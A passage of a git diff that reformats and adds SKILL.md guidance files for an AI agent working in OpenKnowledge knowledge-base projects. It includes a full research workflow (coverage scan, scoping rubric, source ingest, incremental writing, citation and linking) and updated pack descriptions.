-You already confirmed the decision at the STOP gate at the top of this workflow. This step is a brief re-check after loading the research in Step 1 — occasionally the research surfaces something that makes the "decision" look less decided than the user initially claimed (e.g., an un-rebutted open question, an alternative they forgot about). If the loaded research reveals that, pause and re-confirm with the user before writing.
+You already confirmed the decision at the STOP gate at the top. This step is a brief re-check after loading the research in Step 1 — occasionally the research surfaces something that makes the "decision" look less decided than the user initially claimed (an un-rebutted open question, an alternative they forgot about). If the loaded research reveals that, pause and re-confirm with the user before writing.
### 3. Write the canonical article
-**Persist as you go (MUST).** For a large consolidation drawing on several research docs, create the article skeleton — frontmatter + the headings below — first, then \`edit\` each section in as you finish it; don't hold the whole synthesis in context for one final write. A rate limit or crash mid-synthesis then costs you one section, not the entire article. (The OK skill's §Writing carries this rule for all long-running work: the knowledge base is your checkpoint.)
+**Persist as you go (MUST).** For a large consolidation drawing on several research docs, create the article skeleton — frontmatter + the headings below — first, then `edit` each section in as you finish it; don't hold the whole synthesis in context for one final write. A rate limit or crash mid-synthesis then costs you one section, not the entire article. (The platform skill's Writing section carries this rule for all long-running work: the knowledge base is your checkpoint.)
-Save inside the content directory (\`${contentDir}\`). Path convention depends on the project:
+Save inside the content directory. Path convention depends on the project:
-- If the project uses the three-tier lifecycle (external-sources → research → articles), save under an \`articles/\` folder relative to the content dir, grouped by topic subfolder when the area is broad (e.g., \`articles/editor/crdt-architecture.md\`)
-- If the project has an existing canonical-docs layout (\`docs/\`, \`guides/\`, etc.), save there in a location that matches the project's conventions
+- If the project uses the three-layer lifecycle (`external-sources/` → `research/` → `articles/`), save under `articles/`, grouped by topic subfolder when the area is broad (e.g., `articles/editor/crdt-architecture.md`)
+- If the project has an existing canonical-docs layout (`docs/`, `guides/`, etc.), save there in a location that matches the project's conventions
- Ask the user when the canonical location is ambiguous
Frontmatter:
-\`\`\`yaml
+```yaml
---
title: Descriptive title
description: One-line summary of what this article covers
@@ -94,11 +87,11 @@ tags:
supersedes:
- <path-to-research-article>.md
---
-\`\`\`
+```
Structure:
-\`\`\`markdown
+```markdown
## Summary
[One paragraph: what the decision is and why. A reader who reads only this paragraph should know the outcome.]
@@ -130,40 +123,38 @@ Structure:
## Further reading
[Links to research articles and external sources for readers who want the trail.]
-\`\`\`
+```
### 4. Link aggressively
Canonical articles are destinations — they should be **linked heavily from everywhere they're relevant** and link **out to every related page** themselves. Underlinked canonical articles lose most of their value.
-- **Inside this article:** every noun-phrase that names another document (other canonical articles, related research, external-source pages, sibling topics) should be a standard markdown link \`[text](./relative/path.md)\`, not plain prose. (Wiki-link syntax \`[[Page]]\` is still parsed for legacy content but no longer the default; matches the OK skill guidance.)
-- **Every link must resolve.** Only link to docs that exist. If you mention a concept that *should* have its own page but doesn't yet, do NOT emit a broken link — either create that page in this pass, or record it as a tracked task (\`TaskCreate\` / your host's task tool; if the host has none, tell the user) and leave the mention as plain prose. A broken link is debt, not a to-do marker.
-- **Update neighbors.** After writing, find 2–3 closely-related existing pages (via \`exec("grep -rn <topic> ${contentDir}")\`) and add a link to the new article from each — usually under a "See also" section or inline where the new article is relevant. This makes the article discoverable via backlinks, not just by remembering the path.
+- **Inside this article:** every noun-phrase that names another document (other canonical articles, related research, external-source pages, sibling topics) should be a standard markdown link, not plain prose.
+- **Every link must resolve.** Only link to docs that exist. If you mention a concept that *should* have its own page but doesn't yet, do NOT emit a broken link — either create that page in this pass, or record it as a tracked task (your host's task tool; if the host has none, tell the user) and leave the mention as plain prose. A broken link is debt, not a to-do marker.
+- **Update neighbors.** After writing, find 2-3 closely-related existing pages (via `exec("grep -rn <topic> <content-dir>")`) and add a link to the new article from each — usually under a "See also" section or inline where the new article is relevant. This makes the article discoverable via backlinks, not just by remembering the path.
- **Link to the sources and superseded research** from "Further reading" — readers who want the trail can follow.
### 5. Supersede the research
-Add a \`supersedes:\` list in the new article's frontmatter pointing at the research article(s) it consolidates. This creates an audit trail.
+Add a `supersedes:` list in the new article's frontmatter pointing at the research article(s) it consolidates. This creates an audit trail.
Do NOT delete the research articles — they remain as historical context for how the decision was reached. Edit their frontmatter to add:
-\`\`\`yaml
+```yaml
superseded_by: <path-to-new-canonical-article>.md
-\`\`\`
+```
### 6. Verify
- File exists at the chosen path under the content directory
-- Has \`status: canonical\` frontmatter
+- Has `status: canonical` frontmatter
- Lists the research articles it supersedes
-- Research articles updated with \`superseded_by\` pointer
-- \`exec("ls <target-dir>")\` shows the new file
+- Research articles updated with `superseded_by` pointer
+- `exec("ls -A <target-dir>")` shows the new file
## Non-goals
- **Don't consolidate research that hasn't reached a decision** — the article would misrepresent the team's actual state of understanding
-- **Don't delete research articles** — they are the trail; keep them with a \`superseded_by\` marker
+- **Don't delete research articles** — they are the trail; keep them with a `superseded_by` marker
- **Don't rewrite research prose verbatim** — canonical articles have a different voice (direct, decided) than research (exploratory, provisional)
- **Don't skip the supersedes / superseded_by links** — the audit trail matters for future readers
-`;
-}
diff --git a/packages/server/assets/skills/packs/knowledge-base/research/SKILL.md b/packages/server/assets/skills/packs/knowledge-base/research/SKILL.md
new file mode 100644
index 000000000..74ea0c43b
--- /dev/null
+++ b/packages/server/assets/skills/packs/knowledge-base/research/SKILL.md
@@ -0,0 +1,375 @@
+---
+name: open-knowledge-pack-knowledge-base-research
+description: "Investigate a topic against preserved sources and write a provisional research article under `research/` in a Knowledge Base project (the `knowledge-base` starter pack). Read when asked to research a topic, compare options, synthesize sources, gather evidence, or extend an existing research doc. Carries the full procedure: scan existing coverage, agree a research rubric, capture every source verbatim before analyzing, write the article incrementally so a crash never loses work, cite every claim, and link it back into the graph. Does not promote findings to canonical knowledge — that is the sibling `consolidate` skill, after a decision lands."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack knowledge-base`."
+metadata:
+ pack: "knowledge-base"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+# Research — gather sources and write provisional findings
+
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the procedure on top.
+
+Conduct **evidence-driven research** on a topic and produce a provisional research article under `research/`. Provisional, not canonical: research articles capture findings, trade-offs, and open questions at a point in time. They are promoted to canonical articles via the `consolidate` skill only when decisions solidify.
+
+The content directory is the resolved `content.dir` — read it with `config({ key: 'content.dir' })` if you don't already know it. Paths below are relative to it.
+
+## Three paths
+
+- **Path A — Research article (DEFAULT):** A persistent provisional article with an inline `sources:` frontmatter list pointing at raw sources captured via the ingest procedure. This is the default unless the user explicitly opts out.
+- **Path B — Direct answer:** Findings delivered in conversation only. **Requires explicit user request** (e.g., "just tell me", "no doc needed", "quick answer").
+- **Path C — Update existing research:** Surgical additions/corrections to an existing research article. Triggered when the user references an existing research doc or says "update/refresh/extend."
+
+Path A is the default because provisional articles compound over time; spoken answers do not.
+
+## Autonomy mode
+
+| Mode | Behavior | How entered |
+|---|---|---|
+| **Supervised** (default) | Stop at the scoping gate for user rubric confirmation. Route coverage decisions interactively. | Default when a user drives the session. |
+| **Headless** | Auto-confirm rubric after proposing it. Auto-select routing decisions. Skip interactive prompts. All other gates (scan, analysis, validation, grounding) still enforced. | Explicit "don't wait for me", "just proceed", "run headless" — or non-interactive container environments. |
+
+In headless mode, propose the rubric AND proceed immediately. Mark the Scoping task completed after proposing.
+
+---
+
+## Mandatory execution order
+
+**Hard gates — do NOT skip ahead.** If you find yourself about to run a `WebFetch` or `WebSearch` without completing Steps 0-2, STOP — you skipped a gate.
+
+1. **Step 0: Create workflow checkpoint tasks** — ALWAYS the first action.
+2. **Step 1: Scan existing coverage + route** — scan the content directory for prior work; classify coverage; present options before new research begins.
+3. **Step 2: Collaborative scoping** — propose a research rubric. In Supervised mode, STOP and WAIT for user confirmation before any external fetch.
+4. **Step 3: Capture raw sources via ingest** — preserve before analyzing.
+5. **Step 4: Read + analyze** — third-party/external by default; first-party codebase only when the user explicitly requests.
+6. **Step 5: Write the research article** — Path A only.
+7. **Step 6: Link aggressively + file valuable Q&A back**.
+8. **Step 7: Validate** — frontmatter, dead-links, sources alignment.
+9. **Step 8: Recap + follow-up directions**.
+
+**Path B shortcut:** If the user explicitly requested a direct answer in Step 2, skip Steps 5 and 7. Steps 0, 1, 3, 4, 6, 8 still apply (evidence discipline doesn't relax just because output is conversational).
+
+---
+
+## Report framing default: external / third-party sources
+
+Research articles default to **external framing** — investigating third-party topics, technologies, concepts, public repos, papers, official docs. **Do NOT mix the user's own codebase analysis into the research article unless the user explicitly asks.** Mixing drifts findings from factual synthesis toward opinion-forming applied to the organization, reducing factual fidelity.
+
+- **Default:** external sources (web, open-source repos, papers, official APIs).
+- **Exception:** if the user asks "research how our X compares to Y" or "include our codebase," include it — but clearly separate first-party observations from third-party findings in the article so a reader can distinguish externally-verifiable facts from organization-specific takes.
+
+---
+
+## Persist as you go — the article IS your checkpoint
+
+**PERSIST AS YOU GO — crash-safe checkpoint rule.** The single most expensive failure this procedure produces is completed research lost to a mid-session rate limit or crash — analysis held in context, never written, discarded when the session died. The user paid for work that vanished. The knowledge base is the checkpoint; two rules make every step crash-safe:
+
+- **Ingest each source the moment you fetch it (Step 3), one at a time** — never fetch all sources and ingest them in a trailing batch. An ingested source survives a crash; a fetched-but-unwritten one does not.
+- **Create the article skeleton early and fill it section-by-section as you read (Steps 4-5), not in one final write at the end.** After you analyze each source, `edit` its findings into the article before moving to the next. A crash after reading five of eight sources then leaves five sections safely in the KB; you resume by reading the partial article back, not by re-running the whole sweep.
+
+Structured notes that live only in your context are not persisted work. If a finding is worth keeping, it belongs in an ingested source or in the article — written, not held.
+
+---
+
+## Step 0: Create workflow checkpoint tasks
+
+**ALWAYS THE FIRST ACTION.** Before any read, any scan, any fetch — create tasks. They persist across context compaction, make skipped steps immediately visible, and show progress to the user.
+
+Create these tasks via your host's task system (`TaskCreate` in Claude; equivalent elsewhere):
+
+```
+TaskCreate: "Research: Scan existing coverage + route" → start as in_progress
+TaskCreate: "Research: Collaborative scoping — rubric gate" → pending, blocked by #1
+TaskCreate: "Research: Capture sources via ingest" → pending, blocked by #2
+TaskCreate: "Research: Read + analyze" → pending, blocked by #3
+TaskCreate: "Research: Write the research article" → pending, blocked by #4
+TaskCreate: "Research: Link aggressively + file Q&A back" → pending, blocked by #5
+TaskCreate: "Research: Validate (frontmatter + dead-links)" → pending, blocked by #6
+TaskCreate: "Research: Recap + follow-up directions" → pending, blocked by #7
+```
+
+Use the host's blocked-by relation to enforce ordering. As you complete each step, mark the task `completed` and the next task `in_progress`.
+
+**Path B variant:** If scoping determines Path B (direct answer), drop tasks #5 and #7 — they don't apply.
+
+**Path C variant:** If Step 1 routes to Path C (update existing), drop tasks #3 and #5 (ingest is usually unnecessary and no new article is created) and rename task #4 to "Research: Read existing article + diff deltas."
+
+Why tasks: the observed failure mode is the agent jumping straight to `WebFetch` without scanning or scoping. Tasks make the skipped gates obvious to the user mid-session.
+
+---
+
+## Step 1: Scan existing coverage + route
+
+**MANDATORY FIRST RESEARCH STEP.** Before any external fetch, scan what the knowledge base already holds.
+
+### Phase 1: Check existing knowledge
+
+**If the user explicitly references an existing research article** (names it, links it, says "update/refresh/extend"):
+→ Skip the scan. Go directly to **Path C**.
+
+**Otherwise, always scan first:**
+
+1. `exec("grep -rln <topic-keyword> <content-dir>")` — returns matching files with frontmatter enrichment so you can judge relevance without opening each.
+2. `exec("ls -A <content-dir>")` — surfaces folder layout and most-recent-updated doc per subdir.
+3. For the **1-3 most promising candidates**, `exec("cat <path>")` — returns full doc + frontmatter + backlinks + recent shadow-repo activity.
+
+Classify:
+
+| Coverage | What it means | Route to |
+|---|---|---|
+| **Fully covered** | An existing article directly answers the question with evidence | Present findings; offer to elaborate, verify, extend, or explicitly new-report |
+| **Partially covered** | Related research exists; the specific question is a natural extension | Offer: (1) extend existing via Path C, (2) new article via Path A |
+| **Not covered** | No meaningful overlap | Proceed to Path A (default) or Path B |
+
+### Phase 2: Present routing options (Supervised mode)
+
+**Fully covered:**
+
+> "We already have research on this in `<path>`. Here's what it found: [2-4 key findings]. Options: (1) use as-is, (2) verify / refresh (article is from [date]), (3) extend on [specific dimension], (4) new angle if this is a different framing."
+
+Let the user choose. Do NOT start new research when existing research already answers the question.
+
+**Partially covered:**
+
+> "We have related research in `<path>` covering [scope]. Your question about [topic] isn't directly answered but it's a natural extension. Options: (1) extend existing via Path C, (2) start new article via Path A. I'd recommend [1 or 2] because [reason]."
+
+**Not covered:**
+
+Proceed to Step 2 (scoping). If the user asked for a quick answer, flag that Path B may apply and confirm in Step 2's scoping exchange.
+
+**Headless mode:** auto-select — fully-covered → proceed to new article on the specific angle the caller requested; partially-covered → start new article; not-covered → Path A.
+
+### Scan discipline
+
+- **Do not skip the scan.** Even 30 seconds of grep + cat prevents duplicate research AND gives the user context on what's already known.
+- **Bias toward extending (Path C)** when topics are semantically coherent — one comprehensive article beats two overlapping ones.
+- **Bias toward new (Path A)** when framing, audience, or primary question differs materially.
+
+---
+
+## Step 2: Collaborative scoping (Supervised STOP gate)
+
+**HARD GATE (Supervised mode).** Do NOT start external research until the user confirms the rubric. After proposing it, **STOP and WAIT for user response.** Only then mark the Scoping task completed.
+
+**In headless mode:** propose the rubric AND proceed. Mark the task completed after proposing.
+
+### Propose a rubric
+
+Return this structure to the user:
+
+```
+## Proposed research rubric
+
+**Question:** [narrowed from the original topic — concrete, answerable, bounded]
+
+**Dimensions to investigate:** [3-7 facets]
+1. [Dimension 1]
+2. [Dimension 2]
+...
+
+**Candidate sources:** [3-8 initial guesses]
+- [Source 1 — why it's relevant]
+- [Source 2 — why it's relevant]
+...
+
+**Success criteria:** [2-3 concrete outcomes — "the article cites X authoritative sources", "open questions are marked explicitly", etc.]
+
+**Output format:** Path A (article) | Path B (direct answer) | Path C (update `<existing-article>`)
+```
+
+### Scoping discipline
+
+- If the original topic is vague ("research LLM agents"), narrow it before fetching: "What specific agents? For what decision? Over what time horizon?"
+- If the topic is itself a URL, treat that URL as the anchor and widen to 2-4 adjacent authoritative sources.
+- Name the **decision** this research informs. Research without a decision context meanders.
+- Do not over-specify the rubric — the user can adjust. Propose, don't prescribe.
+
+---
+
+## Step 3: Capture raw sources via ingest
+
+For each relevant URL, paper, or document in the confirmed rubric, follow the **ingest** procedure — it lives in the platform `open-knowledge` skill at `references/ingest-and-sources.md`, not in this pack. **Typical research pulls 3-8 sources.** Too few → thin synthesis. Too many → you'll be reading for the rest of the session.
+
+- **Don't skip ingest.** Raw preservation separates capture from interpretation and makes research reproducible. An article without preserved sources is just opinion; an article with preserved sources is a trail someone else can follow.
+- If a fetch fails for a source you specifically need, **stop and ask the user to paste it** — don't silently drop it. Write-time fabrication of missing evidence is the biggest failure mode.
+- If a fetch returns an obvious *summary* instead of the raw bytes (some LLM-backed fetch tools do this), note it and try a raw alternative (`curl -sL <url>`, or ask the user to paste).
+
+---
+
+## Step 4: Read + analyze
+
+Read each ingested source carefully. Also load:
+
+- **Existing canonical articles** on the topic — `exec("cat <path>")` (returns frontmatter + backlinks + shadow-repo activity).
+- **Prior research** on adjacent topics — same: `exec("cat <path>")` for OpenKnowledge markdown.
+- **Relevant source code** — ONLY if the user asked for first-party analysis. Use native `Read` for `.ts` / `.js` / etc.; `exec` for in-scope `.md` / `.mdx`.
+- **Project context** — wherever the project keeps design material.
+
+Take structured notes:
+
+- **Key claims** and their evidence — every claim needs a source you can point at
+- **Trade-offs** between options
+- **Contradictions** between sources — these are often the most valuable part of the article
+- **Unknowns** and open questions — the boundary of what you know
+- **Relevance** to the specific decision at hand
+
+**Write these notes into the article as you take them, not after (MUST — see *Persist as you go* above).** Create the article skeleton — frontmatter + the Step 5 section headings — before you start reading, then `edit` each source's findings into the relevant section the moment you finish analyzing it. The "notes" ARE the article's Findings section in progress; don't hold them in context to transcribe in one pass at Step 5. A rate limit between here and Step 5 must not be able to discard analysis you've already done. By the time you reach Step 5 the article is mostly written, and Step 5 becomes finalize-and-polish.
+
+### Grounding discipline
+
+Every factual claim in the article must cite its source inline. No unsourced speculation. If you don't have evidence: (a) run another search and cite it, (b) mark inline `(TODO: needs source)`, or (c) don't write the claim. Never fabricate.
+
+---
+
+## Step 5: Write the research article (Path A only)
+
+If you followed *Persist as you go*, the article already exists and is substantially filled from Step 4 — this step **finalizes** it (fill any remaining sections, tighten the recommendation, run the structure + validation checks below) rather than writing from a blank doc. **If it does not exist or is thin, and you are resuming after an interruption: `exec("cat <path>")` the partial article back first and fill only the missing sections** — and note that any Step 4 analysis that was never written to the KB was lost when the session broke, so re-derive only what's actually missing. Creating the doc from scratch here means the incremental rule was skipped; that's the failure mode, not the happy path.
+
+Save a markdown document inside the content directory. Path convention:
+
+- If the project adopted the three-layer lifecycle (`external-sources/` → `research/` → `articles/`), save under `research/<slug>.md`.
+- If the project has an existing docs/reports/specs layout, match it.
+- Large topics warrant a subfolder: `research/<topic>/<subtopic>.md`.
+
+Filename: descriptive, kebab-case (`crdt-alternatives-for-editor.md`, `llm-wikis-and-knowledge-bases.md`). No dates — dates go in frontmatter.
+
+### Frontmatter
+
+```yaml
+---
+title: Descriptive title
+description: One-line summary of the research question
+status: provisional
+date: YYYY-MM-DD
+tags:
+ - research
+ - <topic-tag>
+sources:
+ - <path-to-ingested-source-1>.md
+ - <path-to-ingested-source-2>.md
+---
+```
+
+### Structure
+
+```markdown
+## Question
+
+[What specific question does this research answer? Be precise.]
+
+## Context
+
+[Why does this matter? What decision does it inform? Who is the reader?]
+
+## Findings
+
+[Main findings organized by theme, option, or criterion. Every claim cites a source inline.]
+
+### Theme / Option 1
+
+- Pros — with evidence links
+- Cons — with evidence links
+- Evidence: [Source A](./external-sources/source-a.md), [Source B](./external-sources/source-b.md)
+
+### Theme / Option 2
+
+...
+
+## Trade-offs
+
+[What you gain vs. lose with each option. A comparison table often helps.]
+
+## Open questions
+
+[What you still don't know — candidates for further research, prototyping, or human-judgment decisions.]
+
+## Tentative recommendation
+
+[Your best guess, clearly marked as tentative. Explain the reasoning so a future reader can re-evaluate when new information arrives.]
+
+## Further reading
+
+[Links to the ingested sources + adjacent research + any canonical articles on the topic.]
+```
+
+### Voice
+
+- **Provisional, not canonical.** Use "tentative", "initial findings", "based on current understanding."
+- **Do NOT write as if it were canonical** — that's misleading. Canonicality is the `consolidate` skill's job, after decisions land.
+- **Explicit about uncertainty.** Research is the layer where uncertainty is allowed to live.
+
+---
+
+## Step 6: Link aggressively + file valuable Q&A back
+
+Research articles are discovery surfaces. Under-linked research becomes an island nobody finds.
+
+### Link discipline
+
+- Every noun-phrase that names another document is a link. Use standard markdown: `[text](./relative/path.md)`.
+- Link sources inline where you cite them, not just in the frontmatter `sources:` list: `According to [LLM Agents](./external-sources/llm-agents.md)...` is stronger than a bare `sources:` entry.
+- Cross-link sibling research: if an adjacent topic has its own research doc, link it under "Open questions" or inline. Readers following one thread should find the others.
+- After writing, update 1-2 closely-related existing pages to link back to this research (usually under "Further reading" or "See also"). This is how the research becomes discoverable via backlinks.
+- Never wrap links in backticks; never use HTML anchors — matches the platform skill's linking rules.
+
+### File valuable Q&A back
+
+If the user asked a specific question during the research session that produced a citable answer, capture it as its own short page alongside the research — not just as chat. Concrete questions with sourced answers are the highest-signal unit of knowledge you can produce.
+
+- Short filename: `what-does-X-mean.md`, `how-does-Y-work.md`
+- Include the same `sources:` frontmatter
+- Link the answer from this research doc under "Further reading"
+- Answers too small to justify a separate file stay in chat; don't fragment
+
+---
+
+## Step 7: Validate
+
+Run this checklist before marking complete:
+
+- File exists at the chosen path under the content directory
+- Frontmatter has `title`, `description`, `status: provisional`, `date`, and a `sources:` list
+- `exec("ls -A <dir>")` lists the new file with frontmatter enrichment
+- `links({ kind: 'dead', sourceDocNames: ['<path-without-ext>'] })` returns clean — zero dead links (fix or remove every one)
+- Every factual claim in Findings cites a source inline
+- Linked source files from Step 3 all exist (broken source links → ingest went wrong somewhere)
+- At least 1-2 neighbor docs now link to this research (per Step 6's "After writing, update ..." rule)
+
+---
+
+## Step 8: Recap + follow-up directions
+
+Close the loop with the user in conversation:
+
+```
+## Recap
+
+- [Finding 1 — with source]
+- [Finding 2 — with source]
+- [Key trade-off / contradiction surfaced]
+- [1-2 open questions that remain]
+
+**Tentative recommendation:** [state it in one sentence]
+
+**Follow-up research directions** (Path A candidates for later):
+1. [Direction 1 — what would it investigate?]
+2. [Direction 2 — what would it investigate?]
+3. [Direction 3 — what would it investigate?]
+```
+
+Follow-ups should be **external-source investigations** — not actions on the user's codebase (those belong in a spec, not more research). Each direction should be a standalone topic someone could later research.
+
+In headless mode, write the recap into the research article's "Further reading" section rather than prompting interactively.
+
+---
+
+## Non-goals
+
+- **Don't promote to a canonical article.** That's the `consolidate` skill's job after a decision actually lands. Premature canonicalization buries uncertainty and misleads future readers.
+- **Don't hide uncertainty.** Research is the layer where "we don't know yet" is acceptable prose. Say it explicitly.
+- **Don't skip ingest.** Always capture raw sources first, then analyze. An article without preserved sources is opinion.
+- **Don't skip the Step 1 scan.** Duplicate research wastes the user's time AND misses chances to extend prior work.
+- **Don't skip the scoping gate in Supervised mode.** The user's rubric shapes everything downstream; you cannot recover a wrong-scope article cheaply.
+- **Don't mix first-party codebase analysis into the article unless asked.** Findings drift from factual synthesis to opinion when you do.
+- **Don't overwrite existing research silently.** If the topic was researched before, either iterate (Path C) or create a clearly-named successor (`crdt-alternatives-2.md`) and mark the old one as superseded.
diff --git a/packages/server/assets/skills/packs/okf/SKILL.md b/packages/server/assets/skills/packs/okf/SKILL.md
index 144334134..0b121f546 100644
--- a/packages/server/assets/skills/packs/okf/SKILL.md
+++ b/packages/server/assets/skills/packs/okf/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-okf
-version: "0.18.0"
-description: "How to work in an OKF starter project (the `okf` starter pack): a knowledge base that is conformant with Google's Open Knowledge Format (OKF) from commit one — `concepts/`, `references/`, `notes/`, a reserved `index.md` navigation hub, and a reserved `log.md` change history. Read when the project has these folders + reserved files. Carries the OKF conventions (non-empty `type` on every non-reserved doc; reserved files carry no frontmatter) as guidance, not enforcement. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in an OKF starter project (the `okf` starter pack): a knowledge base that is conformant with Google's Open Knowledge Format (OKF) from commit one — `concepts/`, `references/`, `notes/`, a reserved `index.md` navigation hub, and a reserved `log.md` change history. Read when the project has these folders plus reserved files, OR when asked whether a document is OKF-conformant, or to add a document to an OKF knowledge base. Carries the OKF conventions (non-empty `type` on every non-reserved doc; reserved files carry no frontmatter) as guidance, not enforcement. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack okf`."
# `type` keeps this skill doc OKF-conformant: it installs as project-local
# markdown under `.claude`/`.cursor`/`.agents` skills dirs, which OK admits into
@@ -17,7 +16,7 @@ metadata:
This project was scaffolded to be conformant with **Google's Open Knowledge Format (OKF) v0.1** from the first commit — markdown + YAML frontmatter, a standard-markdown link graph, and two reserved files. Conformance here is pre-populated, **not enforced**: OpenKnowledge's native frontmatter schema stays open-shaped, nothing is linted, and you are free to author however you like. This skill explains the conventions so the kit stays OKF-portable as it grows.
-> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/grounding rules) still governs every markdown operation — this layers OKF conventions on top.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the OKF conventions on top.
## The one rule (keep the kit conformant)
diff --git a/packages/server/assets/skills/packs/plain-notes/SKILL.md b/packages/server/assets/skills/packs/plain-notes/SKILL.md
index e465e345b..9c1ff8103 100644
--- a/packages/server/assets/skills/packs/plain-notes/SKILL.md
+++ b/packages/server/assets/skills/packs/plain-notes/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-plain-notes
-version: "0.18.0"
-description: "How to work in a Plain Notes project (the `plain-notes` starter pack): a flat notes/ folder plus a daily/ journal. The 'I just want to write' layout. Read when the project has these folders. Carries the linking habit and daily-entry behavior so templates and folder descriptions stay minimal. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Plain Notes project (the `plain-notes` starter pack): a flat notes/ folder plus a daily/ journal. The 'I just want to write' layout. Read when the project has these folders, OR when asked to jot a note, capture a quick thought, or write today's journal entry. Carries the linking habit and daily-entry behavior so templates and folder descriptions stay minimal. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack plain-notes`."
metadata:
pack: "plain-notes"
@@ -12,6 +11,8 @@ metadata:
The lightest pack: no posture imposed, just write and link.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the notes habit on top.
+
## Folders
- **`notes/`** — one file per topic, flat. Promote a note into a more structured layout later if you outgrow this.
@@ -20,7 +21,7 @@ The lightest pack: no posture imposed, just write and link.
## Agent behaviors
- **Link liberally.** The value of this pack is the graph that emerges from links — when a note or entry mentions something worth its own page, link it (stub the page if it doesn't exist yet). OK's link graph builds itself from those edges.
-- **Daily entries:** on the first entry of a day, link to yesterday's entry (`YYYY-MM-DD-1.md`) and pre-fill the date, so the linear journal is also a navigable graph.
+- **Daily entries:** on the first entry of a day, link to yesterday's entry (its own dated file, e.g. `2026-07-08.md`) and pre-fill the date, so the linear journal is also a navigable graph.
- The `mood`, `top3`, and `gratitude` frontmatter fields on daily entries let you look back across days; fill them when journaling.
## Templates
diff --git a/packages/server/assets/skills/packs/software-lifecycle/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/SKILL.md
index d53b2fd91..3b6742d1e 100644
--- a/packages/server/assets/skills/packs/software-lifecycle/SKILL.md
+++ b/packages/server/assets/skills/packs/software-lifecycle/SKILL.md
@@ -1,7 +1,6 @@
---
name: open-knowledge-pack-software-lifecycle
-version: "0.18.0"
-description: "How to work in a Software Lifecycle project (the `software-lifecycle` starter pack): proposals → decisions → specs → postmortems, plus guides. Read when the project has these folders. Carries the doc lifecycle, status flows, and per-folder agent behaviors so that guidance does not live inside template bodies or folder descriptions. Complements the platform `open-knowledge` skill; does not replace it."
+description: "How to work in a Software Lifecycle project (the `software-lifecycle` starter pack): proposals → decisions → specs → postmortems, plus guides. Read when the project has these folders, or when asked how this project is organized. Carries the doc lifecycle, status flows, and per-folder agent behaviors so that guidance does not live inside template bodies or folder descriptions. The five workflows — frame a proposal, write a spec, record a decision, write a postmortem, review a design — each ship as their own sibling skill in this pack. Complements the platform `open-knowledge` skill; does not replace it."
compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
metadata:
pack: "software-lifecycle"
@@ -12,7 +11,7 @@ metadata:
This project holds the doc lifecycle for an engineering team or OSS project. The flow is **proposals → decisions → specs → postmortems**, with **guides** as the how-to bucket. This skill holds the workflow so templates and folder descriptions stay clean.
-> This is pack guidance. The platform `open-knowledge` skill still governs every markdown operation.
+> This skill is pack guidance. The platform `open-knowledge` skill (read/write/preview/linking/grounding rules) still governs every markdown operation — this layers the lifecycle conventions on top.
## The flow
@@ -39,6 +38,18 @@ guides/ how-to / onboarding / runbooks (referenced throughout)
**`guides/`** — How-to guides, onboarding docs, and service-bound runbooks (Diátaxis how-to). Ships `guide`, `onboarding-guide`, and `runbook` templates. Carries `last_verified` so stale guides surface in periodic reviews. *Agent: when a postmortem is published, scan its action items for guide-shaped follow-ups and stub a guide pre-filled with the symptom and timeline excerpt.*
+## The five workflows
+
+Authoring in this project is procedural, not conventional. Each workflow ships as its own skill so it loads only when the work calls for it — reach for the one that matches the task rather than writing into a folder from scratch.
+
+| Workflow | Sibling skill | When |
+| --- | --- | --- |
+| Frame a proposal | `open-knowledge-pack-software-lifecycle-frame-a-proposal` | A change needs designing and arguing before anyone builds it. |
+| Write a spec | `open-knowledge-pack-software-lifecycle-write-a-spec` | An accepted proposal needs scoping into an implementable spec. |
+| Record a decision | `open-knowledge-pack-software-lifecycle-record-a-decision` | A decision was actually made and needs its context and consequences preserved. |
+| Write a postmortem | `open-knowledge-pack-software-lifecycle-write-a-postmortem` | An incident happened and the team needs a blameless write-up. |
+| Review a design | `open-knowledge-pack-software-lifecycle-review-a-design` | An existing proposal, spec, or decision needs pressure-testing for soundness. |
+
## Templates
Create docs with `write({ document: { path, template: "<name>" } })`. Templates carry only structure (headings + frontmatter scaffold); what each section is for is described above, not repeated in the document body.
diff --git a/packages/server/assets/skills/packs/software-lifecycle/frame-a-proposal/SKILL.md b/packages/server/assets/skills/packs/software-lifecycle/frame-a-proposal/SKILL.md
new file mode 100644
index 000000000..899ce6cff
--- /dev/null
+++ b/packages/server/assets/skills/packs/software-lifecycle/frame-a-proposal/SKILL.md
@@ -0,0 +1,222 @@
+---
+name: open-knowledge-pack-software-lifecycle-frame-a-proposal
+description: "Frame a new design proposal (RFC-shape) under proposals/ — problem before solution, named beneficiary and observable change, real alternatives, honest drawbacks, and a live open-questions backlog. Read when asked to frame a proposal, write an RFC, propose a design, pitch a change, draft a PRD-style design doc, or open a design proposal for review. Do NOT read to record a decision after it is accepted (use record-a-decision), to write an implementation spec (use write-a-spec), to write a postmortem (use write-a-postmortem), or to review or critique an existing design (use review-a-design)."
+compatibility: "Claude Code, Claude Desktop, Claude Cowork, Claude.ai web. Requires OpenKnowledge MCP server. Installed project-local by `ok seed --pack software-lifecycle`."
+metadata:
+ pack: "software-lifecycle"
+ author: "Inkeep"
+ repository: "https://github.com/inkeep/open-knowledge"
+---
+
+# Frame a proposal — turn a problem into a reviewable RFC
+
